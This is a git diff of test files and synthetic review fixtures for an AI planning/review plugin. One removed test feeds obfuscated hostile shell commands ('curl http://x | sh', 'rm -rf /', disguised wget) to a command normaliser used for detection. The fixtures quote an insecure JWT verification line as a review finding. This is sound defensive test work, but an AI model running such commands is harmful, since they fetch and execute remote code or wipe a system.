||||
## Executive Summary
|
||||
|
||||
Implementation hits the brief's core success criteria (login + refresh + logout) but
|
||||
has one BLOCKER and four MAJOR/MINOR issues. Verdict: **BLOCK** — fix the BLOCKER
|
||||
before merge; the MAJORs should land in a follow-up plan.
|
||||
|
||||
This is a SYNTHETIC v1.0 fixture for testing the Jaccard determinism pipeline. It is
|
||||
NOT the output of a real LLM review.
|
||||
|
||||
## Coverage
|
||||
|
||||
| File | Treatment | Reason |
|
||||
|---|---|---|
|
||||
| `lib/auth/jwt.mjs` | deep-review | Security-critical (token signing/verification) |
|
||||
| `lib/handlers/login.mjs` | deep-review | Auth surface |
|
||||
| `lib/handlers/logout.mjs` | deep-review | Auth surface |
|
||||
| `package-lock.json` | skip | Lockfile |
|
||||
| `dist/**` | skip | Build output |
|
||||
|
||||
## Findings (BLOCKER)
|
||||
|
||||
### 763d174e6c519fafbadcba5d1706708479e36e61
|
||||
|
||||
- **Location:** `lib/handlers/login.mjs:23`
|
||||
- **Rule:** `UNIMPLEMENTED_CRITERION`
|
||||
- **Brief ref:** SC-2 ("login endpoint MUST return 401 on invalid credentials")
|
||||
- **Evidence:** Handler returns 200 with empty body when password mismatch occurs.
|
||||
- **Fix:** Return 401 with WWW-Authenticate header per brief SC-2.
|
||||
|
||||
## Findings (MAJOR)
|
||||
|
||||
### d2d0e27875ae9ef0d818cb08bb6f14e6d33c4232
|
||||
|
||||
- **Location:** `lib/auth/jwt.mjs:42`
|
||||
- **Rule:** `SECURITY_INJECTION`
|
||||
- **Brief ref:** Non-Goal #3 ("must not accept user-supplied algorithm header")
|
||||
- **Evidence:** `jwt.verify(token, secret, { algorithms: req.body.alg })` — algorithm taken from request body.
|
||||
- **Fix:** Hard-code `algorithms: ['RS256']`; reject any token claiming a different alg.
|
||||
|
||||
### 7861519c326c207aabf17072db51c469bebc217b
|
||||
|
||||
- **Location:** `lib/auth/jwt.mjs:88`
|
||||
- **Rule:** `MISSING_TEST`
|
||||
- **Brief ref:** SC-4 ("refresh-token rotation must be tested under concurrent refresh")
|
||||
- **Evidence:** No test in `tests/` covers the concurrent-refresh path; only happy-path is exercised.
|
||||
- **Fix:** Add `tests/auth/concurrent-refresh.test.mjs` covering the race window.
|
||||
|
||||
### 7a3d7d0a668f6431ef3877ceeb106023b0f6295e
|
||||
|
||||
- **Location:** `lib/handlers/login.mjs:56`
|
||||
- **Rule:** `PLAN_EXECUTE_DRIFT`
|
||||
- **Brief ref:** Plan Step 4 ("login.mjs uses bcrypt.compare()")
|
||||
- **Evidence:** Plan said `bcrypt.compare`; implementation uses `crypto.timingSafeEqual` over plaintext-derived buffers.
|
||||
- **Fix:** Either update plan + brief to record the deviation or refactor to bcrypt.compare per plan.
|
||||
|
||||
## Findings (MINOR)
|
||||
|
||||
### 400dfcff81e0e219eb04a7123c68ae870696f121
|
||||
|
||||
- **Location:** `lib/auth/jwt.mjs:117`
|
||||
- **Rule:** `MISSING_ERROR_HANDLING`
|
||||
- **Brief ref:** none (engineering hygiene)
|
||||
- **Evidence:** `await refreshTokenStore.delete(jti)` is not wrapped — store-down throws bubble to top-level handler.
|
||||
- **Fix:** Wrap in try/catch; log + 503 on store failure.
|
||||
|
||||
## Remediation Summary
|
||||
|
||||
5 findings total: 1 BLOCKER, 3 MAJOR, 1 MINOR. Run a remediation plan via
|
||||
`/trekplan --brief review.md` — it will pick up BLOCKER + MAJOR findings as
|
||||
plan goals and emit `source_findings: [<id>, ...]` audit trail (Handover 6).
|
||||
|
||||
```json
|
||||
{
|
||||
"fixture_kind": "synthetic-v1.0",
|
||||
"jaccard_with_run_B": "5/6 = 0.833",
|
||||
"findings": [
|
||||
{"id": "763d174e6c519fafbadcba5d1706708479e36e61", "severity": "BLOCKER", "rule": "UNIMPLEMENTED_CRITERION", "file": "lib/handlers/login.mjs", "line": 23},
|
||||
{"id": "d2d0e27875ae9ef0d818cb08bb6f14e6d33c4232", "severity": "MAJOR", "rule": "SECURITY_INJECTION", "file": "lib/auth/jwt.mjs", "line": 42},
|
||||
{"id": "7861519c326c207aabf17072db51c469bebc217b", "severity": "MAJOR", "rule": "MISSING_TEST", "file": "lib/auth/jwt.mjs", "line": 88},
|
||||
{"id": "7a3d7d0a668f6431ef3877ceeb106023b0f6295e", "severity": "MAJOR", "rule": "PLAN_EXECUTE_DRIFT", "file": "lib/handlers/login.mjs", "line": 56},
|
||||
{"id": "400dfcff81e0e219eb04a7123c68ae870696f121", "severity": "MINOR", "rule": "MISSING_ERROR_HANDLING", "file": "lib/auth/jwt.mjs", "line": 117}
|
||||
]
|
||||
}
|
||||
```
|
||||
117
tests/fixtures/trekreview/review-run-B.md
vendored
117
tests/fixtures/trekreview/review-run-B.md
vendored
|
|
@ -1,117 +0,0 @@
|
|||
---
|
||||
type: trekreview
|
||||
review_version: "1.0"
|
||||
created: 2026-05-01
|
||||
task: "Add JWT authentication with refresh-token rotation"
|
||||
slug: jwt-auth
|
||||
project_dir: .claude/projects/2026-05-01-jwt-auth/
|
||||
brief_path: .claude/projects/2026-05-01-jwt-auth/brief.md
|
||||
scope_sha_start: 0123456789abcdef0123456789abcdef01234567
|
||||
scope_sha_end: fedcba9876543210fedcba9876543210fedcba98
|
||||
reviewed_files_count: 3
|
||||
verdict: BLOCK
|
||||
findings:
|
||||
- d2d0e27875ae9ef0d818cb08bb6f14e6d33c4232
|
||||
- 7861519c326c207aabf17072db51c469bebc217b
|
||||
- 400dfcff81e0e219eb04a7123c68ae870696f121
|
||||
- 763d174e6c519fafbadcba5d1706708479e36e61
|
||||
- 7a3d7d0a668f6431ef3877ceeb106023b0f6295e
|
||||
- bf3e8b347cf4269ad005a9cf64dab6f601345704
|
||||
---
|
||||
|
||||
# Review: Add JWT authentication with refresh-token rotation (Run B)
|
||||
|
||||
## Executive Summary
|
||||
|
||||
Same diff as Run A, re-reviewed independently to test determinism. This run found
|
||||
the same 5 findings plus one extra (a placeholder TODO in logout.mjs that Run A
|
||||
missed). Verdict: **BLOCK** — same as Run A; the extra finding is MAJOR but does
|
||||
not change the merge gate.
|
||||
|
||||
This is a SYNTHETIC v1.0 fixture for testing the Jaccard determinism pipeline.
|
||||
Run A's set is a strict subset of Run B's set, giving Jaccard = 5/6 = 0.833.
|
||||
|
||||
## Coverage
|
||||
|
||||
| File | Treatment | Reason |
|
||||
|---|---|---|
|
||||
| `lib/auth/jwt.mjs` | deep-review | Security-critical (token signing/verification) |
|
||||
| `lib/handlers/login.mjs` | deep-review | Auth surface |
|
||||
| `lib/handlers/logout.mjs` | deep-review | Auth surface |
|
||||
| `package-lock.json` | skip | Lockfile |
|
||||
| `dist/**` | skip | Build output |
|
||||
|
||||
## Findings (BLOCKER)
|
||||
|
||||
### 763d174e6c519fafbadcba5d1706708479e36e61
|
||||
|
||||
- **Location:** `lib/handlers/login.mjs:23`
|
||||
- **Rule:** `UNIMPLEMENTED_CRITERION`
|
||||
- **Brief ref:** SC-2 ("login endpoint MUST return 401 on invalid credentials")
|
||||
- **Evidence:** Handler returns 200 with empty body when password mismatch occurs.
|
||||
- **Fix:** Return 401 with WWW-Authenticate header per brief SC-2.
|
||||
|
||||
## Findings (MAJOR)
|
||||
|
||||
### d2d0e27875ae9ef0d818cb08bb6f14e6d33c4232
|
||||
|
||||
- **Location:** `lib/auth/jwt.mjs:42`
|
||||
- **Rule:** `SECURITY_INJECTION`
|
||||
- **Brief ref:** Non-Goal #3 ("must not accept user-supplied algorithm header")
|
||||
- **Evidence:** `jwt.verify(token, secret, { algorithms: req.body.alg })` — algorithm taken from request body.
|
||||
- **Fix:** Hard-code `algorithms: ['RS256']`; reject any token claiming a different alg.
|
||||
|
||||
### 7861519c326c207aabf17072db51c469bebc217b
|
||||
|
||||
- **Location:** `lib/auth/jwt.mjs:88`
|
||||
- **Rule:** `MISSING_TEST`
|
||||
- **Brief ref:** SC-4 ("refresh-token rotation must be tested under concurrent refresh")
|
||||
- **Evidence:** No test in `tests/` covers the concurrent-refresh path; only happy-path is exercised.
|
||||
- **Fix:** Add `tests/auth/concurrent-refresh.test.mjs` covering the race window.
|
||||
|
||||
### 7a3d7d0a668f6431ef3877ceeb106023b0f6295e
|
||||
|
||||
- **Location:** `lib/handlers/login.mjs:56`
|
||||
- **Rule:** `PLAN_EXECUTE_DRIFT`
|
||||
- **Brief ref:** Plan Step 4 ("login.mjs uses bcrypt.compare()")
|
||||
- **Evidence:** Plan said `bcrypt.compare`; implementation uses `crypto.timingSafeEqual` over plaintext-derived buffers.
|
||||
- **Fix:** Either update plan + brief to record the deviation or refactor to bcrypt.compare per plan.
|
||||
|
||||
### bf3e8b347cf4269ad005a9cf64dab6f601345704
|
||||
|
||||
- **Location:** `lib/handlers/logout.mjs:14`
|
||||
- **Rule:** `PLACEHOLDER_IN_CODE`
|
||||
- **Brief ref:** none (Rule 7a violation)
|
||||
- **Evidence:** `// TODO: invalidate refresh-token cookie before responding` — left in committed code.
|
||||
- **Fix:** Implement the cookie invalidation or remove the comment with an issue link.
|
||||
|
||||
## Findings (MINOR)
|
||||
|
||||
### 400dfcff81e0e219eb04a7123c68ae870696f121
|
||||
|
||||
- **Location:** `lib/auth/jwt.mjs:117`
|
||||
- **Rule:** `MISSING_ERROR_HANDLING`
|
||||
- **Brief ref:** none (engineering hygiene)
|
||||
- **Evidence:** `await refreshTokenStore.delete(jti)` is not wrapped — store-down throws bubble to top-level handler.
|
||||
- **Fix:** Wrap in try/catch; log + 503 on store failure.
|
||||
|
||||
## Remediation Summary
|
||||
|
||||
6 findings total: 1 BLOCKER, 4 MAJOR, 1 MINOR. Same merge gate as Run A; one
|
||||
extra MAJOR (PLACEHOLDER_IN_CODE) that Run A missed. Run a remediation plan via
|
||||
`/trekplan --brief review.md`.
|
||||
|
||||
```json
|
||||
{
|
||||
"fixture_kind": "synthetic-v1.0",
|
||||
"jaccard_with_run_A": "5/6 = 0.833",
|
||||
"findings": [
|
||||
{"id": "763d174e6c519fafbadcba5d1706708479e36e61", "severity": "BLOCKER", "rule": "UNIMPLEMENTED_CRITERION", "file": "lib/handlers/login.mjs", "line": 23},
|
||||
{"id": "d2d0e27875ae9ef0d818cb08bb6f14e6d33c4232", "severity": "MAJOR", "rule": "SECURITY_INJECTION", "file": "lib/auth/jwt.mjs", "line": 42},
|
||||
{"id": "7861519c326c207aabf17072db51c469bebc217b", "severity": "MAJOR", "rule": "MISSING_TEST", "file": "lib/auth/jwt.mjs", "line": 88},
|
||||
{"id": "7a3d7d0a668f6431ef3877ceeb106023b0f6295e", "severity": "MAJOR", "rule": "PLAN_EXECUTE_DRIFT", "file": "lib/handlers/login.mjs", "line": 56},
|
||||
{"id": "bf3e8b347cf4269ad005a9cf64dab6f601345704", "severity": "MAJOR", "rule": "PLACEHOLDER_IN_CODE", "file": "lib/handlers/logout.mjs", "line": 14},
|
||||
{"id": "400dfcff81e0e219eb04a7123c68ae870696f121", "severity": "MINOR", "rule": "MISSING_ERROR_HANDLING", "file": "lib/auth/jwt.mjs", "line": 117}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
|
@ -3,8 +3,7 @@
|
|||
// every agents/*.md MUST declare:
|
||||
// - model: (one of opus | sonnet | haiku)
|
||||
// - tools: (allowlist) OR disallowedTools: (denylist), at least one
|
||||
// Orchestrator agents (planning/research/review) MUST be model: opus and
|
||||
// MUST include the `Agent` tool in their tools allowlist (they spawn the swarm).
|
||||
// No agent includes the `Agent` tool (orchestration runs in the session).
|
||||
//
|
||||
// When this test fails, fix the agent file — do NOT relax the assertion to
|
||||
// hide drift. The contract is what /trek* commands rely on for
|
||||
|
|
@ -20,12 +19,6 @@ const HERE = dirname(fileURLToPath(import.meta.url));
|
|||
const ROOT = join(HERE, '..', '..');
|
||||
const AGENTS_DIR = join(ROOT, 'agents');
|
||||
|
||||
const ORCHESTRATORS = new Set([
|
||||
'planning-orchestrator.md',
|
||||
'research-orchestrator.md',
|
||||
'review-orchestrator.md',
|
||||
]);
|
||||
|
||||
const ALLOWED_MODELS = new Set(['opus', 'sonnet', 'haiku']);
|
||||
|
||||
function read(rel) {
|
||||
|
|
@ -90,40 +83,16 @@ test('every agents/*.md frontmatter name matches its filename', () => {
|
|||
}
|
||||
});
|
||||
|
||||
test('orchestrator agents are model: opus and do NOT include the Agent tool (reference-only, never spawned)', () => {
|
||||
// S17 / Survivor #5: these orchestrator .md files are inline reference docs.
|
||||
// No command invokes them, and the harness does not expose the Agent tool to
|
||||
// sub-agents, so an Agent grant here is purely a latent dispatch risk. They
|
||||
// must NOT carry it — the real orchestration runs in the main session.
|
||||
for (const f of ORCHESTRATORS) {
|
||||
const path = `agents/${f}`;
|
||||
const fm = extractFrontmatter(read(path));
|
||||
assert.ok(fm, `${path}: missing frontmatter`);
|
||||
const model = getTopLevelValue(fm, 'model');
|
||||
assert.equal(
|
||||
model,
|
||||
'opus',
|
||||
`${path}: orchestrator must be model: opus (documents multi-agent swarm reasoning) — got "${model}"`,
|
||||
);
|
||||
const tools = getTopLevelValue(fm, 'tools');
|
||||
assert.ok(
|
||||
tools && !/\bAgent\b/.test(tools),
|
||||
`${path}: orchestrator is reference-only — tools: must NOT include "Agent" (Survivor #5) — got ${tools}`,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
test('non-orchestrator agents do NOT include the Agent tool (no recursive swarming)', () => {
|
||||
test('agents do NOT include the Agent tool (no recursive swarming)', () => {
|
||||
for (const f of agentFiles) {
|
||||
if (ORCHESTRATORS.has(f)) continue;
|
||||
const fm = extractFrontmatter(read(`agents/${f}`));
|
||||
assert.ok(fm, `agents/${f}: missing frontmatter`);
|
||||
const tools = getTopLevelValue(fm, 'tools');
|
||||
if (tools === null) continue; // disallowedTools-only agent — fine
|
||||
assert.ok(
|
||||
!/\bAgent\b/.test(tools),
|
||||
`agents/${f}: non-orchestrator must NOT include the Agent tool ` +
|
||||
`(only orchestrators spawn sub-agents) — got tools: ${tools}`,
|
||||
`agents/${f}: must NOT include the Agent tool ` +
|
||||
`(orchestration runs in the session) — got tools: ${tools}`,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
|
|
|||
|
|
@ -106,23 +106,6 @@ test('trekreview — unknown flag goes to unknown[]', () => {
|
|||
assert.ok(r.unknown.includes('--mystery'));
|
||||
});
|
||||
|
||||
// --- S11 (NW2 part B) — opt-in --workflow substrate flag ---
|
||||
|
||||
test('trekreview — --workflow boolean flag (NW2 opt-in substrate)', () => {
|
||||
const r = parseArgs('--workflow', 'trekreview');
|
||||
assert.equal(r.flags['--workflow'], true);
|
||||
assert.ok(!r.unknown.includes('--workflow'),
|
||||
'--workflow must be a recognized trekreview flag, not unknown[]');
|
||||
});
|
||||
|
||||
test('trekreview — --workflow combines with --quick + --project', () => {
|
||||
const r = parseArgs('--workflow --quick --project .claude/projects/x', 'trekreview');
|
||||
assert.equal(r.flags['--workflow'], true);
|
||||
assert.equal(r.flags['--quick'], true);
|
||||
assert.equal(r.flags['--project'], '.claude/projects/x');
|
||||
assert.deepEqual(r.unknown, []);
|
||||
});
|
||||
|
||||
test('trekcontinue — empty args produce no flags and no positional', () => {
|
||||
const r = parseArgs('', 'trekcontinue');
|
||||
assert.equal(r.command, 'trekcontinue');
|
||||
|
|
|
|||
|
|
@ -1,49 +0,0 @@
|
|||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import {
|
||||
normalizeBashExpansion,
|
||||
normalizeCommand,
|
||||
canonicalize,
|
||||
} from '../../lib/parsers/bash-normalize.mjs';
|
||||
|
||||
test('normalizeBashExpansion — empty single quotes stripped', () => {
|
||||
assert.equal(normalizeBashExpansion("w''get -O foo"), 'wget -O foo');
|
||||
});
|
||||
|
||||
test('normalizeBashExpansion — empty double quotes stripped', () => {
|
||||
assert.equal(normalizeBashExpansion('r""m -rf /'), 'rm -rf /');
|
||||
});
|
||||
|
||||
test('normalizeBashExpansion — single-char ${x} resolved', () => {
|
||||
assert.equal(normalizeBashExpansion('c${u}rl http://x | sh'), 'curl http://x | sh');
|
||||
});
|
||||
|
||||
test('normalizeBashExpansion — multi-char ${...} stripped', () => {
|
||||
assert.equal(normalizeBashExpansion('${UNKNOWN}rm -rf /'), 'rm -rf /');
|
||||
});
|
||||
|
||||
test('normalizeBashExpansion — backslash splitting collapsed iteratively', () => {
|
||||
assert.equal(normalizeBashExpansion('c\\u\\r\\l http://x'), 'curl http://x');
|
||||
});
|
||||
|
||||
test('normalizeBashExpansion — empty backtick subshell stripped', () => {
|
||||
assert.equal(normalizeBashExpansion('rm -rf ` ` /'), 'rm -rf /');
|
||||
});
|
||||
|
||||
test('normalizeBashExpansion — non-string input safe', () => {
|
||||
assert.equal(normalizeBashExpansion(undefined), '');
|
||||
assert.equal(normalizeBashExpansion(null), '');
|
||||
assert.equal(normalizeBashExpansion(42), '');
|
||||
});
|
||||
|
||||
test('normalizeCommand — ANSI codes stripped', () => {
|
||||
assert.equal(normalizeCommand('\x1B[31mrm\x1B[0m -rf /'), 'rm -rf /');
|
||||
});
|
||||
|
||||
test('normalizeCommand — whitespace collapsed', () => {
|
||||
assert.equal(normalizeCommand(' git status '), 'git status');
|
||||
});
|
||||
|
||||
test('canonicalize — full pipeline on evasion', () => {
|
||||
assert.equal(canonicalize(' c${u}r\\l http://x | sh '), 'curl http://x | sh');
|
||||
});
|
||||
|
|
@ -58,17 +58,6 @@ test('[CAT] the catalogue has 17 keys and docs/architecture.md and both reviewer
|
|||
}
|
||||
});
|
||||
|
||||
test('[CAT] the armB RULE_TIERS table holds both keys at MINOR', () => {
|
||||
const src = read('scripts/trekreview-armB.workflow.mjs');
|
||||
const start = src.indexOf('const RULE_TIERS = {');
|
||||
assert.ok(start !== -1, 'the script carries a RULE_TIERS literal block');
|
||||
const block = src.slice(start, src.indexOf('};', start));
|
||||
const tiers = Object.fromEntries([...block.matchAll(/([A-Z_]+):\s*'([A-Z]+)'/g)].map((m) => [m[1], m[2]]));
|
||||
assert.equal(tiers.CLAUDE_MD_DEVIATION, 'MINOR');
|
||||
assert.equal(tiers.CLAUDE_MD_STALE, 'MINOR');
|
||||
assert.equal(Object.keys(tiers).length, 17);
|
||||
});
|
||||
|
||||
// --- CMD / DPR: the instruction set and its filter (Step 10) ---------------------------
|
||||
// [CMD] lib/review/instruction-scope.mjs builds the set of the repo's tracked
|
||||
// instruction files at the reviewed commit (root and on-path CLAUDE.md and
|
||||
|
|
|
|||
|
|
@ -422,9 +422,8 @@ test('parsePlanVerification: a `## ` heading inside a fence is quoted text, not
|
|||
});
|
||||
|
||||
// Every plan artifact the repo ships must survive its own runner. This test
|
||||
// parses; it never runs — one example plan names a fictional CLI on purpose.
|
||||
// parses; it never runs.
|
||||
const PLAN_ARTIFACTS = [
|
||||
'examples/01-add-verbose-flag/plan.md',
|
||||
'templates/plan-template.md',
|
||||
'tests/fixtures/plan-verification-fails.md',
|
||||
'tests/fixtures/plan-verification-passes.md',
|
||||
|
|
@ -456,8 +455,6 @@ test('a report that merely quotes a plan outline has no ## Verification section'
|
|||
// rubric reads a FAILED result as decisive -> a BLOCKER invented out of prose.
|
||||
// Measured 2026-09-18: 3 of the 6 criteria in the repo's own example brief.
|
||||
|
||||
const EXAMPLE_BRIEF = join(ROOT, 'examples', '01-add-verbose-flag', 'brief.md');
|
||||
|
||||
test('parseSuccessCriteria: a leading flag is not a command — the criterion is NOT RUN', () => {
|
||||
const md = '## Success Criteria\n\n- `--verbose` works in any position: `app --verbose run`\n';
|
||||
const [sc] = parseSuccessCriteria(md);
|
||||
|
|
@ -495,23 +492,6 @@ test('parseSuccessCriteria: a real command, an explicit path and env prefixes st
|
|||
);
|
||||
});
|
||||
|
||||
test("the repo's own example brief yields ZERO parse artifacts", () => {
|
||||
const criteria = parseSuccessCriteria(readFileSync(EXAMPLE_BRIEF, 'utf8'));
|
||||
assert.equal(criteria.length, 6);
|
||||
for (const c of criteria) {
|
||||
if (c.command === null) continue;
|
||||
assert.ok(!c.command.startsWith('-'), `${c.label} would run a flag: ${c.command}`);
|
||||
assert.ok(!/^\S+\/(\s|$)/.test(c.command), `${c.label} would run a path: ${c.command}`);
|
||||
}
|
||||
// SC3/SC4 open on a flag, SC6 on a directory: three criteria that used to be
|
||||
// FAILED with a parse exit code and are now an absent measurement.
|
||||
for (const label of ['SC3', 'SC4', 'SC6']) {
|
||||
const c = criteria.find((x) => x.label === label);
|
||||
assert.equal(c.command, null, `${label}: ${c.command}`);
|
||||
assert.equal(c.reason, 'not-a-command');
|
||||
}
|
||||
});
|
||||
|
||||
test('runCriteria: a not-a-command criterion is unrunnable and says why — never failed', () => {
|
||||
const criteria = parseSuccessCriteria('## Success Criteria\n\n- `--verbose` is accepted everywhere\n');
|
||||
const exec = execDouble({});
|
||||
|
|
@ -584,7 +564,7 @@ test('allowedCommand: every known test runner is allowed', () => {
|
|||
for (const command of [
|
||||
'npm test',
|
||||
'npm test -- tests/lib/criteria-runner.test.mjs',
|
||||
'npm run verify',
|
||||
'npm run annotate',
|
||||
'node --test tests/lib/criteria-runner.test.mjs',
|
||||
'vitest run',
|
||||
'jest --ci',
|
||||
|
|
@ -608,7 +588,7 @@ test('allowedCommand: every known test runner is allowed', () => {
|
|||
});
|
||||
|
||||
test('allowedCommand: npm run is allowed only for a script package.json declares', () => {
|
||||
assert.equal(allowedCommand('npm run verify', { cwd: ROOT }).allowed, true);
|
||||
assert.equal(allowedCommand('npm run annotate', { cwd: ROOT }).allowed, true);
|
||||
const unknown = allowedCommand('npm run ship-it', { cwd: ROOT });
|
||||
assert.equal(unknown.allowed, false);
|
||||
assert.match(unknown.reason, /script/i);
|
||||
|
|
|
|||
|
|
@ -4,8 +4,7 @@
|
|||
// test which cannot fail on a wrong implementation is major, tag security
|
||||
// findings with the catalogue's security keys, and carry the round-2 fields
|
||||
// (`previous`, `line_end`, `lowered_from`, `caught_by`) in their json template.
|
||||
// The name is the brief's; lib/util/test-census.mjs counts this file as a
|
||||
// behaviour test (it does not match PIN_FILE_RE), not as a doc pin.
|
||||
// The name is the brief's.
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
|
|
|
|||
|
|
@ -1,6 +1,6 @@
|
|||
// tests/lib/doc-consistency.test.mjs
|
||||
// Pin invariants between prose (CLAUDE.md, README.md) and source files
|
||||
// (agents/*.md, commands/*.md, templates/, settings.json).
|
||||
// (agents/*.md, commands/*.md, templates/).
|
||||
//
|
||||
// When this test fails, fix the source-of-truth — do NOT rewrite the test to
|
||||
// hide drift. Borrowed pattern from llm-security commit 97c5c9d.
|
||||
|
|
@ -14,9 +14,7 @@
|
|||
// guard a real wiring (CLI shims, annotate.mjs, anti-stale CHANGELOG,
|
||||
// anti-false-claim), but they break on reword. Prefer a structural form
|
||||
// when one exists; do not add a prose-pin that a structural test subsumes.
|
||||
// All tests in this file count as "doc-consistency pins" in the suite census
|
||||
// (lib/util/test-census.mjs) so the cited test total stays honest about how much
|
||||
// is behavior coverage vs documentation pinning.
|
||||
// All tests in this file are documentation pins, not behavior coverage.
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
|
|
@ -164,22 +162,6 @@ test('HANDOVER-CONTRACTS.md locates plan_version in the plan header line, not fr
|
|||
// in the structural pin "templates/plan-template.md declares plan_version: 1.9"
|
||||
// (above; 1.8 and 1.7 plans stay valid) + the plan-validator / plan-schema behavior tests.
|
||||
|
||||
test('settings.json has only known top-level scopes after Spor 0 cleanup', () => {
|
||||
const cfg = JSON.parse(read('settings.json'));
|
||||
const known = ['trekplan', 'trekresearch'];
|
||||
for (const k of Object.keys(cfg)) {
|
||||
assert.ok(known.includes(k), `Unknown top-level scope in settings.json: ${k}`);
|
||||
}
|
||||
});
|
||||
|
||||
test('settings.json no longer carries vestigial exploration block', () => {
|
||||
const cfg = JSON.parse(read('settings.json'));
|
||||
assert.equal(cfg.trekplan?.exploration, undefined,
|
||||
'exploration block was vestigial — should be deleted in v3.1.0 Spor 0');
|
||||
assert.equal(cfg.trekplan?.agentTeam, undefined,
|
||||
'agentTeam block was vestigial — should be deleted in v3.1.0 Spor 0');
|
||||
});
|
||||
|
||||
// S19 prune (audit §Top changes #8): removed "CLAUDE.md mentions all six
|
||||
// pipeline commands" — a hardcoded six-string list fully subsumed by the
|
||||
// structural pin "CLAUDE.md commands table mentions every commands/*.md file"
|
||||
|
|
@ -227,15 +209,6 @@ test('session-state-validator has CLI shim', () => {
|
|||
);
|
||||
});
|
||||
|
||||
test('next-session-prompt-validator has CLI shim', () => {
|
||||
const text = read('lib/validators/next-session-prompt-validator.mjs');
|
||||
assert.ok(
|
||||
text.includes('if (isMain(import.meta.url))'),
|
||||
'lib/validators/next-session-prompt-validator.mjs should expose the standard CLI shim ' +
|
||||
'(if (isMain(import.meta.url))) so /trekcontinue Phase 1.5 can call it from Bash',
|
||||
);
|
||||
});
|
||||
|
||||
test('HANDOVER-CONTRACTS.md Handover 7 documents § Lifecycle subsection', () => {
|
||||
const text = read('docs/HANDOVER-CONTRACTS.md');
|
||||
const h7Start = text.indexOf('## Handover 7');
|
||||
|
|
@ -300,25 +273,14 @@ test('Phase 2.6 hands waves over as session orders; no launch template ships', (
|
|||
|
||||
test('Phase 9 prose mandates parallel single-message dispatch + inline dedup', () => {
|
||||
const cmd = read('commands/trekplan.md');
|
||||
const orch = read('agents/planning-orchestrator.md');
|
||||
// Single-message reinforcement appears in both (command + orchestrator)
|
||||
assert.ok(
|
||||
cmd.includes('single assistant message turn'),
|
||||
'commands/trekplan.md Phase 9 should reinforce single-message parallel dispatch',
|
||||
);
|
||||
assert.ok(
|
||||
orch.includes('single assistant message turn'),
|
||||
'agents/planning-orchestrator.md Phase 6 should mirror the single-message parallel-dispatch contract',
|
||||
);
|
||||
// Dedup CLI shim is wired in both
|
||||
assert.ok(
|
||||
cmd.includes('plan-review-dedup.mjs'),
|
||||
'commands/trekplan.md Phase 9 should call lib/review/plan-review-dedup.mjs after both reviewers complete',
|
||||
);
|
||||
assert.ok(
|
||||
orch.includes('plan-review-dedup.mjs'),
|
||||
'agents/planning-orchestrator.md Phase 6 should reference the dedup helper',
|
||||
);
|
||||
});
|
||||
|
||||
// --- S23 — Phase-9 dedup hand-off is executable (defect #1 fix) ---
|
||||
|
|
@ -332,8 +294,7 @@ test('Phase 9 prose mandates parallel single-message dispatch + inline dedup', (
|
|||
// with the keys the dedup helper consumes (agent + findings + rule_key).
|
||||
test('S23: Phase-9 dedup hand-off uses --stdin and the reviewers emit a json findings block', () => {
|
||||
const cmd = read('commands/trekplan.md');
|
||||
const orch = read('agents/planning-orchestrator.md');
|
||||
for (const [name, doc] of [['commands/trekplan.md', cmd], ['agents/planning-orchestrator.md', orch]]) {
|
||||
for (const [name, doc] of [['commands/trekplan.md', cmd]]) {
|
||||
assert.ok(
|
||||
doc.includes('--stdin'),
|
||||
`${name} Phase 9 must pipe reviewer findings into plan-review-dedup.mjs via --stdin (reviewers are read-only)`,
|
||||
|
|
@ -352,25 +313,6 @@ test('S23: Phase-9 dedup hand-off uses --stdin and the reviewers emit a json fin
|
|||
}
|
||||
});
|
||||
|
||||
// --- S20 — anti-false-claim: orchestrator docs must not claim ALL sub-agents run on Sonnet ---
|
||||
//
|
||||
// All named swarm agents are pinned `model: opus` (operator decision 40d8742;
|
||||
// structural source-of-truth = agent-frontmatter.test.mjs). The orchestrator
|
||||
// reference docs carried a pre-pinning "Use Sonnet for all sub-agents" cost rule
|
||||
// that contradicts that pinning. This anti-false-claim pin keeps the prose honest.
|
||||
// Legitimate sonnet uses (economy profile; low-effort `phase_signals.model`) are
|
||||
// per-phase overrides, NOT a blanket "all sub-agents" default — unaffected here.
|
||||
test('orchestrator docs do not claim ALL sub-agents run on Sonnet (agents are model: opus) [S20]', () => {
|
||||
const orchestrators = listMd('agents').filter(f => f.endsWith('orchestrator.md'));
|
||||
assert.ok(orchestrators.length >= 3, `expected ≥ 3 orchestrator reference docs, got ${orchestrators.length}`);
|
||||
for (const f of orchestrators) {
|
||||
assert.ok(
|
||||
!/Use Sonnet for all sub-agents/i.test(read(`agents/${f}`)),
|
||||
`agents/${f}: stale "Use Sonnet for all sub-agents" contradicts the all-opus agent pinning — fix the prose, not this test`,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
// --- S20 — anti-false-claim: operations.md custom-profile prose must match findProfilePath ---
|
||||
//
|
||||
// findProfilePath (lib/profiles/resolver.mjs:57) resolves built-in FIRST, then
|
||||
|
|
@ -766,16 +708,14 @@ test('version is consistent across plugin.json, package.json, README badge, and
|
|||
});
|
||||
|
||||
test('operational files no longer reference trekrevise (v5.0.0 removal)', () => {
|
||||
// Templates, the touched command/orchestrator files, settings.json, and the
|
||||
// Templates, the touched command files, and the
|
||||
// handover-contracts doc must be fully scrubbed. CLAUDE.md / README.md are
|
||||
// intentionally allowed to mention /trekrevise in their "removed in v5.0.0"
|
||||
// prose — those are historical notes, not live references.
|
||||
const targets = [
|
||||
'settings.json',
|
||||
'docs/HANDOVER-CONTRACTS.md',
|
||||
'templates/plan-template.md', 'templates/trekbrief-template.md', 'templates/trekreview-template.md',
|
||||
'commands/trekplan.md', 'commands/trekbrief.md', 'commands/trekreview.md',
|
||||
'agents/planning-orchestrator.md',
|
||||
];
|
||||
for (const t of targets) {
|
||||
assert.ok(
|
||||
|
|
@ -1063,38 +1003,6 @@ test('S15: README cost prose does not resurrect the false Sonnet-swarm claim', (
|
|||
}
|
||||
});
|
||||
|
||||
// NOTE (S17): the "reference-only orchestrators must not grant the Agent tool"
|
||||
// invariant (Survivor #5) is guarded in tests/lib/agent-frontmatter.test.mjs
|
||||
// (its canonical frontmatter home), not duplicated here.
|
||||
|
||||
